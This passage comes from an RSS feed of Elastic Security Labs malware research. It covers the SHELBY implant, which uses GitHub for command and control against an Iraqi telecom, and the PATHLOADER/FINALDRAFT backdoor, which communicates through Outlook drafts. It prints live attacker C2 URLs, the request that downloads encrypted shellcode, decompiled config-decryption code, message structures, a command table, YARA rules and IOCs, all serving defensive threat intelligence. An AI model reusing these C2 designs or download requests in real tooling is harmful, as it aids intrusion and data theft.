<p>The request is sent to the GitHub API endpoint, constructed as follows:</p>
<pre><code>https://api.github.com/repos/&lt;owner&gt;/&lt;repo&gt;/contents/&lt;unique identifier&gt;/&lt;file&gt;
</code></pre>
<p>The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image26.png" alt="Wireshark capture of a C2 communication by SHELBYC2" /></p>
<p>The way the malware is set up means that anyone with the <a href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens">PAT (Personal Access Token)</a> can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.</p>
<h3>SHELBY family conclusion</h3>
<p>While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach.</p>
<p>We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.</p>
<h2>REF8685 campaign analysis</h2>
<p>Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis.</p>
<p>The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.</p>
<pre><code class="language-text">Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT &quot;ARHLRF2SPX1.9IP&quot;U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT &quot;ARHLRF1SPX1.9IP&quot;U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…
</code></pre>
<p>This email contains a call to action to address network alarms and a zipped attachment named <code>details.zip</code>. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (<code>JPerf-3.0.0.exe</code>), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.</p>
<p>While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that <code>JPerf-3.0.0.exe</code> (<a href="https://www.virustotal.com/gui/file/feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a/relations">feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</a>) was included in a separate compressed archive (<code>JPerf-3.0.0.zip</code>)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named <code>Setup.exe</code> with an additional compressed archive (<a href="https://www.virustotal.com/gui/file/5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c/detection">5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</a>).</p>
<p>Analysis of these files (<code>JPerf-3.0.0.exe</code> and <code>Setup.exe</code>) revealed the use of GitHub for <code>C2</code> and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (<code>arthurshellby</code> and <code>johnshelllby</code>) used for the REF8685 malware were malicious and have been shut down by Github.</p>
<p>Of note, Arthur and John Shelby are characters in the British crime drama television series <a href="https://en.wikipedia.org/wiki/Peaky_Blinders_(TV_series)">Peaky Blinders</a>. The show was in production from 2013 to 2022.</p>
<p>The domain <code>arthurshelby[.]click</code> pointed to<code> 2.56.126[.]151</code>, a Stark Industries (AS44477) hosted server. This VPS hosting provider <a href="https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/">has been used for proxy services</a> in other large-scale cyber attacks. This server has overlapping resolutions for:</p>
<ul>
<li><code>arthurshelby[.]click</code></li>
<li><code>[REDACTED]telecom[.]digital</code></li>
<li><code>speed-test[.]click</code></li>
<li><code>[REDACTED]airport[.]cloud</code></li>
<li><code>[REDACTED]airport[.]pro</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image19.png" alt="DNS resolution timeline for 2.56.126[.]151" title="DNS resolution timeline for .56.126[.]151" /></p>
<p>The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.</p>
<p>“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image29.png" alt="DNS resolution timeline for [REDACTED]airport[.]cloud" title="DNS resolution timeline for [REDACTED]airport[.]cloud" /></p>
<p><code>[REDACTED]airport[.]cloud</code> resolved to a new server, <code>2.56.126[.]157</code>, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The <code>2.56.126[.]157</code> server, Stark Industries (AS44477) hosted, also hosts <code>[REDACTED]-connect[.]online</code>, [REDACTED] is the airport code for the [REDACTED] International Airport.</p>
<p>The domain<code> [REDACTED]airport[.]cloud</code> has a subdomain <code>portal.[REDACTED]airport[.]cloud</code> that briefly pointed to <code>2.56.126[.]188</code> from Jan 23-25, 2025. It then directed traffic to <code>172.86.68[.]55</code> until the time of writing.</p>
<p>Banner hash pivots reveal an additional server-domain combo: <code>195.16.74[.]138</code>, <code>[REDACTED]-meeting[.]online</code>.</p>
<p>The <code>172.86.68[.].55</code> server also hosts <code>mail.[REDACTED]tell[.]com</code>, an apparent phishing domain targeting our original victim.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image11.png" alt="DNS resolution timeline for 172.86.68[.].55" title="DNS resolution timeline for 172.86.68[.].55" /></p>
<p>A web login page was hosted at <code>hxxps://portal.[REDACTED]airport[.]cloud/Login</code> (<a href="https://www.virustotal.com/gui/file/02dc15a3bd3a911f6ac9c9e8633c7986f06372a514fc5bf75373b9901c6a9628/relations">VirusTotal</a>).</p>
<p>We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.</p>
<p>This weaponized internal email was used to re-phish their way onto victim endpoints.</p>
<p>All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.</p>
<h3>The Diamond Model of intrusion analysis</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image10.png" alt="REF8685 represented in the Diamond Model" title="REF8685 represented in the Diamond Model" /></p>
<h2>REF8685 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2>YARA rule</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:</p>
<pre><code>rule Windows_Trojan_ShelbyLoader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-03-11&quot;
        last_modified = &quot;2025-03-25&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;ShelbyLoader&quot;
        threat_name = &quot;Windows.Trojan.ShelbyLoader&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a0 = &quot;[WARN] Unusual parent process detected: &quot;
        $a1 = &quot;[ERROR] Exception in CheckParentProcess:&quot; fullword
        $a2 = &quot;[INFO] Sandbox Not Detected by CheckParentProcess&quot; fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = &quot;Persist ID: &quot; fullword
        $b3 = &quot;https://api.github.com/repos/&quot; fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-03-11&quot;
        last_modified = &quot;2025-03-25&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;ShelbyC2&quot;
        threat_name = &quot;Windows.Trojan.ShelbyC2&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a0 = &quot;File Uploaded Successfully&quot; fullword
        $a1 = &quot;/dlextract&quot; fullword
        $a2 = &quot;/evoke&quot; fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shelby-strategy">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0e25efeb4e3304815f9e51c1d9bd3a2e2a23ece3a32f0b47f829536f71ead17a</code></td>
<td>SHA-256</td>
<td><code>details.zip</code></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</code></td>
<td>SHA-256</td>
<td><code>JPerf-3.0.0.exe</code></td>
<td></td>
</tr>
<tr>
<td><code>0354862d83a61c8e69adc3e65f6e5c921523eff829ef1b169e4f0f143b04091f</code></td>
<td>SHA-256</td>
<td><code>HTTPService.dll</code></td>
<td>SHELBYLOADER</td>
</tr>
<tr>
<td><code>fb8d4c24bcfd853edb15c5c4096723b239f03255f17cec42f2d881f5f31b6025</code></td>
<td>SHA-256</td>
<td><code>HTTPApi.dll</code></td>
<td>SHELBYC2</td>
</tr>
<tr>
<td><code>472e685e7994f51bbb259be9c61f01b8b8f35d20030f03215ce205993dbad7f5</code></td>
<td>SHA-256</td>
<td><code>JPerf-3.0.0.zip</code></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</code></td>
<td>SHA-256</td>
<td><code>Setup.exe</code></td>
<td></td>
</tr>
<tr>
<td><code>e51c6f0fbc5a7e0b03a0d6e1e1d26ab566d606b551c785bf882e9a02f04c862b</code></td>
<td>SHA-256</td>
<td></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>github[.]com/johnshelllby</code></td>
<td>URL</td>
<td></td>
<td>GitHub Account name - C2</td>
</tr>
<tr>
<td><code>github[.]com/arturshellby</code></td>
<td>URL</td>
<td></td>
<td>GitHub Account name - C2</td>
</tr>
<tr>
<td><code>arthurshelby[.]click</code></td>
<td>domain-name</td>
<td></td>
<td>DNS domain</td>
</tr>
<tr>
<td><code>speed-test[.]click</code></td>
<td>domain-name</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]151</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]157</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]188</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>172.86.68[.]55</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>195.16.74[.]138</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/shelby.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title>
            <link>https://www.elastic.co/jp/security-labs/finaldraft</link>
            <guid>finaldraft</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p>
<p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.</p>
<p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.</p>
<p>This report details the features and capabilities of these tools.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image47.png" alt="PATHLOADER &amp; FINALDRAFT execution diagram" /></p>
<p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/jp/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p>
<h1>Technical Analysis</h1>
<h2>PATHLOADER</h2>
<p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.</p>
<p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p>
<h3>Configuration</h3>
<p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image7.png" alt="Embedded configuration" /></p>
<p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p>
<pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
</code></pre>
<p><em>Configuration from PATHLOADER</em></p>
<h3>API Hashing</h3>
<p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image10.png" alt="Occurrences of value 0x1000193" /></p>
<h3>String Obfuscation</h3>
<p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image56.png" alt="String obfuscation example" /></p>
<p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image55.png" alt="Logging string left unencrypted" /></p>
<h3>Execution/Behavior</h3>
<p>Upon execution, PATHLOADER employs a combination of  <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p>
<pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
</code></pre>
<p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image53.png" alt="CryptImportKey parameters" /></p>
<p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p>
<h2>FINALDRAFT</h2>
<p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p>
<h3>Entrypoint</h3>
<p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image51.png" alt="PE export of FINALDRAFT" /></p>
<h3>Initialization</h3>
<p>The malware is initialized by loading its configuration and generating a session ID.</p>
<h4>Configuration loading process</h4>
<p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p>
<pre><code class="language-c">for ( i = 0; i &lt; 0x149A; ++i )
  configuration[i] ^= decryption_key[i &amp; 7];
</code></pre>
<p><em>Decryption algorithm for configuration data</em></p>
<p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image8.png" alt="Decryption key and flag found after the encrypted config blob" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" /></p>
<p>The decryption key derivation algorithm is performed as follows:</p>
<pre><code class="language-c">uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &amp;data_source[data_source_length] );
</code></pre>
<p><em>Decryption key derivation algorithm</em></p>
<p>The configuration structure is described as follows:</p>
<pre><code class="language-c">struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};
</code></pre>
<p><em>Configuration structure</em></p>
<p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p>
<p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p>
<h4>Session ID derivation process</h4>
<p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image43.png" alt="FINALDRAFT client ID generation" /></p>
<h3>Communication protocol</h3>
<p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p>
<p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image36.png" alt="Building refresh token request" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image40.png" alt="Token refresh POST request" /></p>
<p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:</p>
<ul>
<li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
<li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
</ul>
<p>This token is reused across requests, if it is still valid.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image3.png" alt="Storing refresh token in the registry" /></p>
<p>The communication loop is described as follows:</p>
<ul>
<li>Create a session email draft if it doesn’t already exist.</li>
<li>Read and delete command request email drafts created by the C2.</li>
<li>Process commands</li>
<li>Write command response emails as drafts for each processed command.</li>
</ul>
<p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_&lt;session-id&gt;</code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image19.png" alt="Check for session email and create one if it doesn't exist" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image46.png" alt="Session email: GET and POST requests" /></p>
<p>The session data is described in the structure below.</p>
<pre><code class="language-c">struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};
</code></pre>
<p><em>Session data structure</em></p>
<p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_&lt;session-id&gt;</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image39.png" alt="Checking for commands email" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image49.png" alt="Command polling GET request" /></p>
<p>After reading the request, emails are then deleted.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image15.png" alt="Deleting command email after reading" /></p>
<p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_&lt;session-id&gt;</code> subject for each command response.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image13.png" alt="Command response POST request" /></p>
<p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.</p>
<p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p>
<p>Request messages sent from the C2 to the implant follow this structure.</p>
<pre><code class="language-c">struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};
</code></pre>
<p><em>Request message structure</em></p>
<p>Response messages sent from the implant to C2 follow this structure.</p>
<pre><code class="language-c">struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};
</code></pre>
<p><em>Response message structure</em></p>
<p>Here is an example of data stolen by the implant.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image52.png" alt="Response message example" /></p>
<h3>Commands</h3>
<p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image23.png" alt="FINALDRAFT command handler setup" /></p>
<p>Below is a table of the commands and their IDs:</p>
<table>
<thead>
<tr>
<th align="left">ID</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">GatherComputerInformation</td>
</tr>
<tr>
<td align="left">2</td>
<td align="left">StartTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">3</td>
<td align="left">StopTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">ConnectToTcpTargetStartProxyToC2</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">SetSleepValue</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">DeleteNetworkProjectorFwRuleAndStopTCPServer</td>
</tr>
<tr>
<td align="left">8</td>
<td align="left">ConnectToTcpTarget</td>
</tr>
<tr>
<td align="left">9</td>
<td align="left">SendDataToUdpOrTcpTarget</td>
</tr>
<tr>
<td align="left">10</td>
<td align="left">CloseTcpConnection</td>
</tr>
<tr>
<td align="left">11</td>
<td align="left">DoProcessInjectionSendOutputEx</td>
</tr>
<tr>
<td align="left">12</td>
<td align="left">ListFiles</td>
</tr>
<tr>
<td align="left">13</td>
<td align="left">ListAvailableDrives</td>
</tr>
<tr>
<td align="left">14</td>
<td align="left">CreateDirectory</td>
</tr>
<tr>
<td align="left">15</td>
<td align="left">DeleteFileOrDirectory</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">DownloadFile</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">UploadFile0</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">DummyFunction</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">SetCurrentDirectory</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">GetCurrentDirectory</td>
</tr>
<tr>
<td align="left">21</td>
<td align="left">ListRunningProcesses</td>
</tr>
<tr>
<td align="left">24</td>
<td align="left">DoProcessInjectionNoOutput</td>
</tr>
<tr>
<td align="left">25</td>
<td align="left">DoProcessInjectionNoOutput (Same as 24)</td>
</tr>
<tr>
<td align="left">26</td>
<td align="left">DoProcessInjectionSendOutput1</td>
</tr>
<tr>
<td align="left">28</td>
<td align="left">DisconnectFromNamedPipe</td>
</tr>
<tr>
<td align="left">30</td>
<td align="left">ConnectToNamedPipeAndProxyMessageToC2</td>
</tr>
<tr>
<td align="left">31</td>
<td align="left">GetCurrentProcessTokenInformation</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">EnumerateActiveSessions</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">ListActiveTcpUdpConnections</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">MoveFile1</td>
</tr>
<tr>
<td align="left">36</td>
<td align="left">GetOrSetFileTime</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">UploadFile1</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">MoveFile0</td>
</tr>
<tr>
<td align="left">42</td>
<td align="left">CopyFileOrCopyDirectory</td>
</tr>
<tr>
<td align="left">43</td>
<td align="left">TerminateProcess</td>
</tr>
<tr>
<td align="left">44</td>
<td align="left">CreateProcess</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT command handler table</em></p>
<h3>Gather computer information</h3>
<p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p>
<p>This structure is described as follows:</p>
<pre><code class="language-c">struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};
</code></pre>
<p><em>Collected information structure</em></p>
<p>The external IP address is collected when enabled in the configuration.</p>
